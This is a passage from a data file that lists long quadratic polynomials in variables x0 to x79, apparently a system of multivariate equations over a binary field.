x67*x75 + x67*x76 + x67*x77 + x68*x69 + x68*x72 + x68*x73 + x68*x75 + x68*x79 + x68 + x69*x71 + x69*x72 + x69*x74 + x69*x75 + x69*x76 + x69*x78 + x69*x79 + x70*x72 + x70*x73 + x70*x74 + x70*x75 + x70*x76 + x70*x79 + x70 + x71*x72 + x71*x73 + x71*x74 + x71*x76 + x71*x78 + x71*x79 + x72*x73 + x72*x75 + x72*x78 + x72*x79 + x72 + x73*x76 + x73*x77 + x73*x78 + x73*x79 + x74*x75 + x74*x76 + x74*x78 + x74*x79 + x75*x76 + x75*x77 + x75*x78 + x75*x79 + x76*x77 + x76*x79 + x77 + x78*x79 + x78 + 1, x0*x4 + x0*x9 + x0*x10 + x0*x13 + x0*x14 + x0*x15 + x0*x16 + x0*x17 + x0*x18 + x0*x19 + x0*x20 + x0*x23 + x0*x24 + x0*x30 + x0*x32 + x0*x36 + x0*x41 + x0*x42 + x0*x43 + x0*x46 + x0*x49 + x0*x53 + x0*x54 + x0*x56 + x0*x57 + x0*x60 + x0*x61 + x0*x62 + x0*x67 + x0*x68 + x0*x69 + x0*x70 + x0*x71 + x0*x72 + x0*x75 + x1*x2 + x1*x4 + x1*x6 + x1*x7 + x1*x8 + x1*x10 + x1*x11 + x1*x14 + x1*x16 + x1*x19 + x1*x21 + x1*x23 + x1*x24 + x1*x25 + x1*x30 + x1*x31 + x1*x32 + x1*x33 + x1*x34 + x1*x35 + x1*x37 + x1*x38 + x1*x39 + x1*x41 + x1*x42 + x1*x47 + x1*x48 + x1*x49 + x1*x50 + x1*x54 + x1*x56 + x1*x57 + x1*x58 + x1*x61 + x1*x65 + x1*x66 + x1*x67 + x1*x69 + x1*x72 + x1*x74 + x1*x78 + x2*x3 + x2*x4 + x2*x7 + x2*x9 + x2*x14 + x2*x15 + x2*x16 + x2*x17 + x2*x18 + x2*x20 + x2*x21 + x2*x23 + x2*x24 + x2*x25 + x2*x26 + x2*x29 + x2*x31 + x2*x32 + x2*x34 + x2*x37 + x2*x39 + x2*x41 + x2*x42 + x2*x47 + x2*x48 + x2*x49 + x2*x50 + x2*x51 + x2*x52 + x2*x54 + x2*x55 + x2*x57 + x2*x61 + x2*x62 + x2*x63 + x2*x65 + x2*x66 + x2*x67 + x2*x71 + x2*x77 + x2*x78 + x2*x79 + x2 + x3*x5 + x3*x6 + x3*x8 + x3*x9 + x3*x11 + x3*x12 + x3*x13 + x3*x16 + x3*x20 + x3*x24 + x3*x25 + x3*x28 + x3*x29 + x3*x30 + x3*x31 + x3*x32 + x3*x36 + x3*x37 + x3*x40 + x3*x43 + x3*x44 + x3*x46 + x3*x48 + x3*x51 + x3*x52 + x3*x54 + x3*x56 + x3*x57 + x3*x59 + x3*x62 + x3*x63 + x3*x65 + x3*x66 + x3*x67 + x3*x69 + x3*x70 + x3*x71 + x3*x72 + x3*x77 + x3*x79 + x4*x5 + x4*x12 + x4*x13 + x4*x14 + x4*x15 + x4*x16 + x4*x17 + x4*x18 + x4*x19 + x4*x20 + x4*x22 + x4*x23 + x4*x24 + x4*x27 + x4*x30 + x4*x31 + x4*x34 + x4*x35 + x4*x36 + x4*x38 + x4*x39 + x4*x40 + x4*x41 + x4*x45 + x4*x46 + x4*x47 + x4*x52 + x4*x55 + x4*x56 + x4*x57 + x4*x58 + x4*x59 + x4*x61 + x4*x65 + x4*x70 + x4*x72 + x4*x73 + x4*x74 + x4*x78 + x5*x6 + x5*x11 + x5*x12 + x5*x13 + x5*x14 + x5*x16 + x5*x17 + x5*x19 + x5*x24 + x5*x27 + x5*x33 + x5*x34 + x5*x35 + x5*x36 + x5*x41 + x5*x43 + x5*x44 + x5*x45 + x5*x48 + x5*x49 + x5*x50 + x5*x51 + x5*x54 + x5*x55 + x5*x59 + x5*x62 + x5*x66 + x5*x67 + x5*x71 + x5*x72 + x5*x73 + x5*x76 + x5*x77 + x5*x78 + x6*x7 + x6*x8 + x6*x13 + x6*x15 + x6*x16 + x6*x17 + x6*x18 + x6*x19 + x6*x21 + x6*x22 + x6*x25 + x6*x26 + x6*x28 + x6*x30 + x6*x32 + x6*x34 + x6*x35 + x6*x38 + x6*x39 + x6*x40 + x6*x42 + x6*x47 + x6*x51 + x6*x53 + x6*x55 + x6*x56 + x6*x59 + x6*x62 + x6*x65 + x6*x69 + x6*x74 + x6*x75 + x6*x77 + x6*x78 + x7*x8 + x7*x16 + x7*x17 + x7*x23 + x7*x24 + x7*x26 + x7*x27 + x7*x28 + x7*x35 + x7*x37 + x7*x39 + x7*x41 + x7*x42 + x7*x43 + x7*x49 + x7*x50 + x7*x54 + x7*x56 + x7*x57 + x7*x58 + x7*x59 + x7*x60 + x7*x61 + x7*x62 + x7*x63 + x7*x67 + x7*x68 + x7*x70 + x7*x75 + x7*x76 + x7*x77 + x7*x78 + x8*x10 + x8*x12 + x8*x14 + x8*x15 + x8*x17 + x8*x18 + x8*x19 + x8*x21 + x8*x22 + x8*x24 + x8*x25 + x8*x26 + x8*x27 + x8*x29 + x8*x30 + x8*x37 + x8*x38 + x8*x39 + x8*x40 + x8*x41 + x8*x44 + x8*x45 + x8*x47 + x8*x48 + x8*x49 + x8*x50 + x8*x52 + x8*x55 + x8*x56 + x8*x58 + x8*x59 + x8*x60 + x8*x65 + x8*x66 + x8*x68 + x8*x71 + x8*x73 + x8*x76 + x8*x77 + x8*x79 + x8 + x9*x12 + x9*x13 + x9*x14 + x9*x15 + x9*x17 + x9*x18 + x9*x20 + x9*x21 + x9*x22 + x9*x26 + x9*x27 + x9*x28 + x9*x33 + x9*x35 + x9*x36 + x9*x38 + x9*x41 + x9*x44 + x9*x46 + x9*x47 + x9*x48 + x9*x50 + x9*x51 + x9*x54 + x9*x57 + x9*x58 + x9*x59 + x9*x62 + x9*x64 + x9*x65 + x9*x66 + x9*x68 + x9*x69 + x9*x71 + x9*x72 + x9*x73 + x9*x74 + x9*x75 + x9*x78 + x9 + x10*x11 + x10*x13 + x10*x14 + x10*x15 + x10*x20 + x10*x23 + x10*x24 + x10*x25 + x10*x26 + x10*x27 + x10*x29 + x10*x32 + x10*x33 + x10*x37 + x10*x38 + x10*x39 + x10*x40 + x10*x43 + x10*x46 + x10*x48 + x10*x53 + x10*x57 + x10*x58 + x10*x59 + x10*x60 + x10*x61 + x10*x62 + x10*x63 + x10*x66 + x10*x67 + x10*x71 + x10*x73 + x10*x75 + x10*x76 + x11*x15 + x11*x19 + x11*x20 + x11*x23 + x11*x24 + x11*x25 + x11*x31 + x11*x34 + x11*x39 + x11*x45 + x11*x46 + x11*x48 + x11*x50 + x11*x51 + x11*x52 + x11*x53 + x11*x56 + x11*x58 + x11*x59 + x11*x62 + x11*x64 + x11*x65 + x11*x66 + x11*x69 + x11*x70 + x11*x72 + x11*x78 + x11*x79 + x12*x13 + x12*x16 + x12*x17 + x12*x20 + x12*x21 + x12*x23 + x12*x24 + x12*x25 + x12*x29 + x12*x30 + x12*x31 + x12*x34 + x12*x35 + x12*x37 + x12*x39 + x12*x40 + x12*x41 + x12*x42 + x12*x47 + x12*x48 + x12*x49 + x12*x50 + x12*x53 + x12*x54 + x12*x60 + x12*x64 + x12*x66 + x12*x68 + x12*x69 + x12*x72 + x12*x75 + x12*x76 + x12*x79 + x13*x16 + x13*x17 + x13*x18 + x13*x19 + x13*x21 + x13*x22 + x13*x23 + x13*x24 + x13*x26 + x13*x27 + x13*x29 + x13*x35 + x13*x36 + x13*x42 + x13*x43 + x13*x44 + x13*x45 + x13*x46 + x13*x47 + x13*x49 + x13*x50 + x13*x53 + x13*x55 + x13*x56 + x13*x58 + x13*x59 + x13*x61 + x13*x65 + x13*x66 + x13*x67 + x13*x68 + x13*x69 + x13*x75 + x13*x77 + x13*x78 + x13*x79 + x14*x15 + x14*x16 + x14*x21 + x14*x22 + x14*x23 + x14*x26 + x14*x27 + x14*x28 + x14*x29 + x14*x31 + x14*x35 + x14*x36 + x14*x44 + x14*x45 + x14*x47 + x14*x50 + x14*x51 + x14*x52 + x14*x56 + x14*x57 + x14*x59 + x14*x62 + x14*x64 + x14*x66 + x14*x67 + x14*x76 + x14*x78 + x14*x79 + x14 + x15*x17 + x15*x18 + x15*x19 + x15*x21 + x15*x22 + x15*x23 + x15*x24 + x15*x25 + x15*x26 + x15*x29 + x15*x30 + x15*x32 + x15*x35 + x15*x36 + x15*x37 + x15*x41 + x15*x42 + x15*x43 + x15*x46 + x15*x48 + x15*x50 + x15*x53 + x15*x54 + x15*x55 + x15*x57 + x15*x63 + x15*x66 + x15*x69 + x15*x70 + x15*x74 + x15*x75 + x15*x78 + x16*x18 + x16*x20 + x16*x22 + x16*x25 + x16*x28 + x16*x32 + x16*x35 + x16*x36 + x16*x37 + x16*x42 + x16*x44 + x16*x48 + x16*x49 + x16*x50 + x16*x54 + x16*x55 + x16*x57 + x16*x60 + x16*x61 + x16*x63 + x16*x65 + x16*x66 + x16*x68 + x16*x72 + x16*x74 + x16*x79 + x16 + x17*x19 + x17*x20 + x17*x23 + x17*x26 + x17*x30 + x17*x32 + x17*x33 + x17*x34 + x17*x37 + x17*x42 + x17*x43 + x17*x44 + x17*x45 + x17*x47 + x17*x48 + x17*x49 + x17*x50 + x17*x52 + x17*x55 + x17*x56 + x17*x57 + x17*x58 + x17*x59 + x17*x63 + x17*x64 + x17*x65 + x17*x66 + x17*x67 + x17*x68 + x17*x72 + x17*x74 + x17*x75 + x17*x76 + x17*x79 + x17 + x18*x19 + x18*x23 + x18*x25 + x18*x26 + x18*x28 + x18*x29 + x18*x32 + x18*x34 + x18*x35 + x18*x36 + x18*x40 + x18*x41 + x18*x46 + x18*x48 + x18*x50 + x18*x59 + x18*x60 + x18*x65 + x18*x66 + x18*x67 + x18*x70 + x18*x71 + x18*x73 + x18*x74 + x18*x75 + x18*x76 + x19*x20 + x19*x24 + x19*x25 + x19*x27 + x19*x29 + x19*x30 + x19*x31 + x19*x32 + x19*x34 + x19*x35 + x19*x36 + x19*x37 + x19*x39 + x19*x42 + x19*x43 + x19*x44 + x19*x46 + x19*x52 + x19*x55 + x19*x56 + x19*x57 + x19*x59 + x19*x60 + x19*x61 + x19*x63 + x19*x65 + x19*x66 + x19*x70 + x19*x71 + x19*x72 + x19*x73 + x19*x76 + x19*x77 + x19 + x20*x21 + x20*x26 + x20*x28 + x20*x34 + x20*x36 + x20*x38 + x20*x39 + x20*x40 + x20*x43 + x20*x45 + x20*x47 + x20*x48 + x20*x49 + x20*x52 + x20*x54 + x20*x55 + x20*x57 + x20*x59 + x20*x60 + x20*x61 + x20*x62 + x20*x63 + x20*x64 + x20*x66 + x20*x67 + x20*x70 + x20*x72 + x20*x74 + x20*x76 + x20*x77 + x20 + x21*x22 + x21*x23 + x21*x25 + x21*x27 + x21*x29 + x21*x33 + x21*x36 + x21*x44 + x21*x45 + x21*x47 + x21*x48 + x21*x49 + x21*x50 + x21*x51 + x21*x52 + x21*x54 + x21*x56 + x21*x57 + x21*x61 + x21*x62 + x21*x63 + x21*x64 + x21*x66 + x21*x67 + x21*x71 + x21*x74 + x21*x76 + x21*x78 + x22*x25 + x22*x26 + x22*x29 + x22*x30 + x22*x31 + x22*x32 + x22*x35 + x22*x37 + x22*x38 + x22*x39 + x22*x42 + x22*x43 + x22*x44 + x22*x45 + x22*x50 + x22*x52 + x22*x53 + x22*x55 + x22*x56 + x22*x58 + x22*x60 + x22*x63 + x22*x64 + x22*x66 + x22*x67 + x22*x69 + x22*x75 + x22*x78 + x22 + x23*x25 + x23*x33 + x23*x34 + x23*x36 + x23*x37 + x23*x40 + x23*x41 + x23*x42 + x23*x48 + x23*x49 + x23*x53 + x23*x54 + x23*x55 + x23*x56 + x23*x57 + x23*x59 + x23*x60 + x23*x61 + x23*x62 + x23*x64 + x23*x65 + x23*x66 + x23*x68 + x23*x70 + x23*x71 + x23*x72 + x23*x78 + x23*x79 + x24*x25 + x24*x26 + x24*x27 + x24*x28 + x24*x29 + x24*x34 + x24*x35 + x24*x36 + x24*x37 + x24*x38 + x24*x42 + x24*x45 + x24*x46 + x24*x50 + x24*x54 + x24*x55 + x24*x57 + x24*x58 + x24*x59 + x24*x64 + x24*x67 + x24*x69 + x24*x70 + x24*x71 + x24*x72 + x24*x76 + x24*x77 + x24 + x25*x26 + x25*x33 + x25*x37 + x25*x38 + x25*x39 + x25*x42 + x25*x43 + x25*x46 + x25*x47 + x25*x50 + x25*x52 + x25*x54 + x25*x55 + x25*x56 + x25*x57 + x25*x60 + x25*x61 + x25*x62 + x25*x63 + x25*x68 + x25*x69 + x25*x71 + x25*x73 + x25*x74 + x25*x76 + x25*x78 + x25*x79 + x25 + x26*x27 + x26*x28 + x26*x30 + x26*x31 + x26*x34 + x26*x35 + x26*x37 + x26*x38 + x26*x42 + x26*x44 + x26*x45 + x26*x48 + x26*x52 + x26*x53 + x26*x55 + x26*x58 + x26*x61 + x26*x63 + x26*x65 + x26*x68 + x26*x71 + x26*x75 + x26*x76 + x26*x78 + x26 + x27*x34 + x27*x35 + x27*x38 + x27*x39 + x27*x42 + x27*x44 + x27*x45 + x27*x46 + x27*x48 + x27*x49 + x27*x52 + x27*x54 + x27*x56 + x27*x57 + x27*x58 + x27*x60 + x27*x65 + x27*x66 + x27*x67 + x27*x71 + x27*x72 + x27*x74 + x27*x76 + x27*x78 + x28*x29 + x28*x30 + x28*x33 + x28*x34 + x28*x36 + x28*x37 + x28*x41 + x28*x42 + x28*x44 + x28*x45 + x28*x47 + x28*x51 + x28*x55 + x28*x57 + x28*x59 + x28*x62 + x28*x63 + x28*x64 + x28*x65 + x28*x66 + x28*x70 + x28*x71 + x28*x72 + x28*x74 + x28*x79 + x28 + x29*x31 + x29*x32 + x29*x33 + x29*x34 + x29*x36 + x29*x40 + x29*x41 + x29*x42 + x29*x43 + x29*x44 + x29*x47 + x29*x49 + x29*x50 + x29*x52 + x29*x53 + x29*x55 + x29*x57 + x29*x58 + x29*x61 + x29*x62 + x29*x65 + x29*x66 + x29*x67 + x29*x70 + x29*x73 + x29*x74 + x29*x76 + x29*x77 + x29*x78 + x29*x79 + x30*x31 + x30*x41 + x30*x44 + x30*x46 + x30*x49 + x30*x52 + x30*x53 + x30*x59 + x30*x62 + x30*x63 + x30*x64 + x30*x65 + x30*x67 + x30*x68 + x30*x70 + x30*x73 + x30*x74 + x30*x77 + x30*x79 + x30 + x31*x33 + x31*x35 + x31*x39 + x31*x40 + x31*x42 + x31*x44 + x31*x47 + x31*x48 + x31*x49 + x31*x52 + x31*x54 + x31*x58 + x31*x59 + x31*x61 + x31*x64 + x31*x66 + x31*x67 + x31*x68 + x31*x69 + x31*x70 + x31*x71 + x31*x72 + x31*x73 + x31*x74 + x31*x77 + x31 + x32*x34 + x32*x36 + x32*x38 + x32*x39 + x32*x43 + x32*x44 + x32*x45 + x32*x49 + x32*x50 + x32*x54 + x32*x55 + x32*x58 + x32*x61 + x32*x62 + x32*x63 + x32*x64 + x32*x65 + x32*x66 + x32*x67 + x32*x72 + x32*x73 + x32*x74 + x32*x75 + x32*x77 + x32*x78 + x32*x79 + x33*x34 + x33*x35 + x33*x36 + x33*x38 + x33*x39 + x33*x40 + x33*x42 + x33*x44 + x33*x46 + x33*x48 + x33*x49 + x33*x50 + x33*x51 + x33*x52 + x33*x53 + x33*x54 + x33*x56 + x33*x59 + x33*x63 + x33*x64 + x33*x65 + x33*x66 + x33*x70 + x33*x72 + x33*x76 + x34*x35 + x34*x39 + x34*x41 + x34*x44 + x34*x45 + x34*x48 + x34*x49 + x34*x50 + x34*x53 + x34*x54 + x34*x61 + x34*x62 + x34*x63 + x34*x65 + x34*x66 + x34*x67 + x34*x73 + x34*x75 + x34 + x35*x40 + x35*x42 + x35*x43 + x35*x46 + x35*x50 + x35*x51 + x35*x54 + x35*x58 + x35*x59 + x35*x60 + x35*x63 + x35*x64 + x35*x65 + x35*x67 + x35*x70 + x35*x71 + x35*x72 + x35*x74 + x35*x75 + x35*x78 + x35*x79 + x36*x39 + x36*x40 + x36*x41 + x36*x42 + x36*x43 + x36*x45 + x36*x49 + x36*x51 + x36*x52 + x36*x53 + x36*x54 + x36*x55 + x36*x56 + x36*x58 + x36*x61 + x36*x68 + x36*x69 + x36*x72 + x36*x73 + x36*x74 + x36*x76 + x36*x77 + x36*x79 + x36 + x37*x38 + x37*x40 + x37*x42 + x37*x44 + x37*x45 + x37*x46 + x37*x47 + x37*x49 + x37*x50 + x37*x52 + x37*x54 + x37*x56 + x37*x57 + x37*x58 + x37*x59 + x37*x61 + x37*x62 + x37*x63 + x37*x65 + x37*x68 + x37*x69 + x37*x71 + x37*x72 + x37*x76 + x37 + x38*x39 + x38*x40 + x38*x41 + x38*x43 + x38*x44 + x38*x47 + x38*x48 + x38*x49 + x38*x54 + x38*x55 + x38*x58 + x38*x59 + x38*x62 + x38*x63 + x38*x64 + x38*x72 + x38*x77 + x38*x78 + x38 + x39*x41 + x39*x42 + x39*x43 + x39*x46 + x39*x50 + x39*x51 + x39*x52 + x39*x54 + x39*x55 + x39*x56 + x39*x58 + x39*x59 + x39*x60 + x39*x61 + x39*x67 + x39*x68 + x39*x69 + x39*x70 + x39*x73 + x39*x75 + x39*x78 + x39 + x40*x41 + x40*x45 + x40*x46 + x40*x47 + x40*x49 + x40*x50 + x40*x51 + x40*x52 + x40*x53 + x40*x54 + x40*x55 + x40*x56 + x40*x58 + x40*x59 + x40*x68 + x40*x69 + x40*x71 + x40*x73 + x40*x79 + x41*x43 + x41*x45 + x41*x52 + x41*x53 + x41*x55 + x41*x59 + x41*x61 + x41*x63 + x41*x66 + x41*x68 + x41*x69 + x41*x71 + x41*x72 + x41*x74 + x41*x76 + x41*x77 + x41 + x42*x44 + x42*x45 + x42*x47 + x42*x50 + x42*x51 + x42*x52 + x42*x53 + x42*x54 + x42*x55 + x42*x57 + x42*x58 + x42*x60 + x42*x63 + x42*x65 + x42*x66 + x42*x69 + x42*x73 + x42*x74 + x42*x75 + x42*x77 + x42 + x43*x44 + x43*x49 + x43*x51 + x43*x56 + x43*x59 + x43*x66 + x43*x67 + x43*x69 + x43*x70 + x43*x71 + x43*x72 + x43*x73 + x43*x76 + x43*x77 + x43*x79 + x43 + x44*x45 + x44*x47 + x44*x49 + x44*x50 + x44*x52 + x44*x54 + x44*x56 + x44*x58 + x44*x60 + x44*x62 + x44*x63 + x44*x67 + x44*x68 + x44*x70 + x44*x72 + x44*x74 + x44*x76 + x44 + x45*x50 + x45*x52 + x45*x56 + x45*x60 + x45*x61 + x45*x62 + x45*x63 + x45*x64 + x45*x66 + x45*x67 + x45*x68 + x45*x69 + x45*x78 + x45*x79 + x45 + x46*x47 + x46*x49 + x46*x50 + x46*x51 + x46*x58 + x46*x62 + x46*x63 + x46*x65 + x46*x66 + x46*x67 + x46*x69 + x46*x70 + x46*x72 + x46*x74 + x46*x75 + x46*x77 + x46*x79 + x46 + x47*x48 + x47*x51 + x47*x52 + x47*x53 + x47*x55 + x47*x56 + x47*x58 + x47*x60 + x47*x62 + x47*x63 + x47*x65 + x47*x66 + x47*x68 + x47*x69 + x47*x71 + x47*x72 + x47*x75 + x47*x78 + x47*x79 + x48*x51 + x48*x58 + x48*x59 + x48*x61 + x48*x62 + x48*x63 + x48*x64 + x48*x66 + x48*x68 + x48*x74 + x48*x75 + x48*x76 + x48*x78 + x48*x79 + x49*x50 + x49*x51 + x49*x53 + x49*x55 + x49*x56 + x49*x57 + x49*x61 + x49*x63 + x49*x65 + x49*x66 + x49*x69 + x49*x72 + x49*x77 + x49*x78 + x49*x79 + x50*x51 + x50*x52 + x50*x55 + x50*x56 + x50*x57 + x50*x58 + x50*x59 + x50*x61 + x50*x63 + x50*x65 + x50*x69 + x50*x70 + x50*x71 + x50*x74 + x50*x76 + x50*x77 + x50 + x51*x55 + x51*x56 + x51*x59 + x51*x62 + x51*x64 + x51*x65 + x51*x68 + x51*x69 + x51*x76 + x51*x78 + x51*x79 + x51 + x52*x54 + x52*x56 + x52*x58 + x52*x60 + x52*x61 + x52*x62 + x52*x66 + x52*x67 + x52*x68 + x52*x72 + x52*x73 + x52*x74 + x52*x75 + x52*x77 + x52 + x53*x55 + x53*x56 + x53*x58 + x53*x61 + x53*x66 + x53*x68 + x53*x72 + x53*x73 + x53*x75 + x53*x76 + x53*x78 + x53 + x54*x55 + x54*x59 + x54*x60 + x54*x61 + x54*x64 + x54*x65 + x54*x66 + x54*x69 + x54*x70 + x54*x72 + x54*x73 + x54*x74 + x54*x75 + x54*x76 + x54*x79 + x54 + x55*x56 + x55*x57 + x55*x58 + x55*x60 + x55*x64 + x55*x66 + x55*x67 + x55*x69 + x55*x70 + x55*x75 + x55*x76 + x55 + x56*x58 + x56*x64 + x56*x66 + x56*x77 + x56*x79 + x57*x58 + x57*x59 + x57*x63 + x57*x64 + x57*x68 + x57*x69 + x57*x70 + x57*x71 + x57*x72 + x57*x73 + x57*x74 + x57*x76 + x57*x77 + x57 + x58*x60 + x58*x61 + x58*x63 + x58*x65 + x58*x66 + x58*x67 + x58*x69 + x58*x70 + x58*x73 + x58*x74 + x58*x75 + x58*x76 + x58*x77 + x58*x78 + x59*x61 + x59*x63 + x59*x67 + x59*x68 + x59*x69 + x59*x72 + x59*x74 + x59*x76 + x59*x79 + x59 + x60*x61 + x60*x68 + x60*x70 + x60*x72 + x60*x73 + x60*x75 + x60*x76 + x60*x77 + x60*x79 + x61*x62 + x61*x66 + x61*x68 + x61*x70 + x61*x74 + x61*x76 + x61*x78 + x61 + x62*x65 + x62*x66 + x62*x67 + x62*x68 + x62*x70 + x62*x71 + x62*x73 + x62*x75 + x62*x76 + x63*x66 + x63*x69 + x63*x70 + x63*x71 + x63*x73 + x63*x74 + x64*x65 + x64*x68 + x64*x69 + x64*x74 + x64*x76 + x64*x79 + x65*x66 + x65*x68 + x65*x70 + x65*x71 + x65*x74 + x65*x75 + x65*x76 + x65*x78 + x66*x69 + x66*x70 + x66*x71 + x66*x72 + x66*x73 + x66*x74 + x66*x78 + x66*x79 + x66 + x67*x69 + x67*x72 + x67*x75 + x67*x77 + x67 + x68*x69 + x68*x70 + x68*x72 + x68*x73 + x68*x74 + x68*x78 + x68*x79 + x69*x70 + x69*x71 + x69*x72 + x69*x73 + x69*x74 + x69*x79 + x69 + x70*x71 + x70*x73 + x70*x74 + x70*x76 + x70*x78 + x70*x79 + x70 + x71*x72 + x71*x73 + x71*x75 + x72*x73 + x72*x75 + x72*x76 + x72*x79 + x72 + x73*x75 + x73*x76 + x73*x77 + x73*x78 + x73 + x74*x75 + x74*x76 + x74*x77 + x74*x78 + x74*x79 + x75*x76 + x75*x77 + x75*x79 + x75 + x76*x78 + x76*x79 + x77 + x78*x79 + x78 + 1, x0*x1 + x0*x2 + x0*x3 + x0*x4 + x0*x5 + x0*x7 + x0*x8 + x0*x10 + x0*x11 + x0*x13 + x0*x15 + x0*x19 + x0*x20 + x0*x21 + x0*x26 + x0*x27 + x0*x28 + x0*x31 + x0*x32 + x0*x33 + x0*x34 + x0*x36 + x0*x38 + x0*x42 + x0*x44 + x0*x45 + x0*x46 + x0*x47 + x0*x48 + x0*x53 + x0*x54 + x0*x55 + x0*x56 + x0*x57 + x0*x58 + x0*x59 + x0*x68 + x0*x70 + x0*x72 + x0*x78 + x0*x79 + x0 + x1*x2 + x1*x4 + x1*x7 + x1*x8 + x1*x9 + x1*x12 + x1*x13 + x1*x17 + x1*x19 + x1*x23 + x1*x24 + x1*x28 + x1*x30 + x1*x32 + x1*x33 + x1*x34 + x1*x35 + x1*x37 + x1*x39 + x1*x41 + x1*x42 + x1*x45 + x1*x46 + x1*x48 + x1*x49 + x1*x50 + x1*x51 + x1*x55 + x1*x59 + x1*x60 + x1*x63 + x1*x64 + x1*x65 + x1*x66 + x1*x68 + x1*x69 + x1*x71 + x1*x77 + x1 + x2*x4 + x2*x5 + x2*x6 + x2*x9 + x2*x13 + x2*x14 + x2*x19 + x2*x20 + x2*x24 + x2*x26 + x2*x28 + x2*x29 + x2*x30 + x2*x31 + x2*x32 + x2*x33 + x2*x34 + x2*x35 + x2*x36 + x2*x39 + x2*x40 + x2*x42 + x2*x44 + x2*x47 + x2*x48 + x2*x49 + x2*x51 + x2*x52 + x2*x54 + x2*x55 + x2*x58 + x2*x60 + x2*x61 + x2*x62 + x2*x63 + x2*x64 + x2*x66 + x2*x67 + x2*x68 + x2*x69 + x2*x70 + x2*x72 + x2*x74 + x2*x76 + x2*x77 + x2*x78 + x2*x79 + x3*x6 + x3*x8 + x3*x9 + x3*x14 + x3*x16 + x3*x17 + x3*x19 + x3*x20 + x3*x22 + x3*x24 + x3*x25 + x3*x27 + x3*x28 + x3*x29 + x3*x30 + x3*x37 + x3*x38 + x3*x42 + x3*x44 + x3*x45 + x3*x46 + x3*x47 + x3*x51 + x3*x52 + x3*x53 + x3*x56 + x3*x57 + x3*x59 + x3*x61 + x3*x64 + x3*x65 + x3*x66 + x3*x67 + x3*x72 + x3*x73 + x3*x75 + x3*x76 + x3*x78 + x3*x79 + x4*x6 + x4*x7 + x4*x8 + x4*x9 + x4*x12 + x4*x13 + x4*x15 + x4*x16 + x4*x19 + x4*x20 + x4*x22 + x4*x23 + x4*x24 + x4*x25 + x4*x28 + x4*x29 + x4*x30 + x4*x31 + x4*x32 + x4*x33 + x4*x34 + x4*x35 + x4*x36 + x4*x45 + x4*x46 + x4*x47 + x4*x48 + x4*x53 + x4*x56 + x4*x58 + x4*x59 + x4*x61 + x4*x63 + x4*x65 + x4*x68 + x4*x71 + x4*x72 + x4*x74 + x4*x76 + x4*x78 + x4*x79 + x5*x6 + x5*x7 + x5*x8 + x5*x9 + x5*x10 + x5*x11 + x5*x13 + x5*x14 + x5*x15 + x5*x16 + x5*x17 + x5*x19 + x5*x23 + x5*x25 + x5*x27 + x5*x28 + x5*x30 + x5*x35 + x5*x39 + x5*x41 + x5*x43 + x5*x44 + x5*x45 + x5*x46 + x5*x48 + x5*x49 + x5*x50 + x5*x52 + x5*x61 + x5*x62 + x5*x64 + x5*x66 + x5*x69 + x5*x71 + x5*x75 + x5*x78 + x5*x79 + x5 + x6*x7 + x6*x13 + x6*x14 + x6*x15 + x6*x16 + x6*x18 + x6*x20 + x6*x24 + x6*x25 + x6*x26 + x6*x27 + x6*x33 + x6*x34 + x6*x35 + x6*x41 + x6*x44 + x6*x45 + x6*x46 + x6*x48 + x6*x49 + x6*x50 + x6*x51 + x6*x52 + x6*x53 + x6*x54 + x6*x55 + x6*x57 + x6*x59 + x6*x60 + x6*x62 + x6*x65 + x6*x66 + x6*x69 + x6*x75 + x6*x76 + x6*x77 + x6*x79 + x6 + x7*x8 + x7*x12 + x7*x13 + x7*x16 + x7*x17 + x7*x19 + x7*x23 + x7*x25 + x7*x29 + x7*x34 + x7*x35 + x7*x36 + x7*x40 + x7*x43 + x7*x44 + x7*x45 + x7*x46 + x7*x47 + x7*x49 + x7*x53 + x7*x55 + x7*x56 + x7*x59 + x7*x60 + x7*x61 + x7*x62 + x7*x65 + x7*x69 + x7*x71 + x7*x72 + x7*x74 + x7*x76 + x7*x77 + x7*x78 + x7 + x8*x11 + x8*x12 + x8*x13 + x8*x14 + x8*x15 + x8*x17 + x8*x18 + x8*x20 + x8*x21 + x8*x23 + x8*x25 + x8*x26 + x8*x29 + x8*x30 + x8*x32 + x8*x34 + x8*x35 + x8*x37 + x8*x38 + x8*x40 + x8*x41 + x8*x42 + x8*x45 + x8*x47 + x8*x48 + x8*x50 + x8*x51 + x8*x53 + x8*x54 + x8*x57 + x8*x58 + x8*x59 + x8*x60 + x8*x61 + x8*x70 + x8*x73 + x8*x74 + x8*x79 + x8 + x9*x11 + x9*x12 + x9*x13 + x9*x14 + x9*x16 + x9*x17 + x9*x18 + x9*x19 + x9*x20 + x9*x21 + x9*x22 + x9*x23 + x9*x24 + x9*x25 + x9*x29 + x9*x30 + x9*x31 + x9*x34 + x9*x36 + x9*x42 + x9*x43 + x9*x44 + x9*x47 + x9*x48 + x9*x52 + x9*x55 + x9*x56 + x9*x58 + x9*x59 + x9*x60 + x9*x64 + x9*x65 + x9*x68 + x9*x71 + x9*x73 + x9*x75 + x9*x77 + x9*x79 + x9 + x10*x11 + x10*x13 + x10*x14 + x10*x17 + x10*x19 + x10*x21 + x10*x25 + x10*x30 + x10*x32 + x10*x34 + x10*x36 + x10*x38 + x10*x39 + x10*x41 + x10*x45 + x10*x46 + x10*x47 + x10*x48 + x10*x49 + x10*x51 + x10*x52 + x10*x56 + x10*x59 + x10*x60 + x10*x61 + x10*x64 + x10*x65 + x10*x66 + x10*x68 + x10*x72 + x10*x75 + x10*x79 + x10 + x11*x12 + x11*x17 + x11*x18 + x11*x21 + x11*x22 + x11*x24 + x11*x28 + x11*x31 + x11*x34 + x11*x37 + x11*x40 + x11*x43 + x11*x45 + x11*x46 + x11*x48 + x11*x49 + x11*x50 + x11*x51 + x11*x53 + x11*x54 + x11*x60 + x11*x61 + x11*x62 + x11*x63 + x11*x65 + x11*x66 + x11*x68 + x11*x72 + x11*x74 + x11*x75 + x11*x78 + x11 + x12*x14 + x12*x15 + x12*x17 + x12*x18 + x12*x20 + x12*x22 + x12*x25 + x12*x30 + x12*x33 + x12*x34 + x12*x35 + x12*x36 + x12*x38 + x12*x39 + x12*x40 + x12*x41 + x12*x43 + x12*x44 + x12*x45 + x12*x50 + x12*x51 + x12*x56 + x12*x58 + x12*x61 + x12*x62 + x12*x64 + x12*x66 + x12*x67 + x12*x70 + x12*x72 + x12*x74 + x12*x78 + x12 + x13*x18 + x13*x19 + x13*x22 + x13*x23 + x13*x25 + x13*x26 + x13*x28 + x13*x29 + x13*x30 + x13*x32 + x13*x33 + x13*x37 + x13*x38 + x13*x41 + x13*x47 + x13*x54 + x13*x57 + 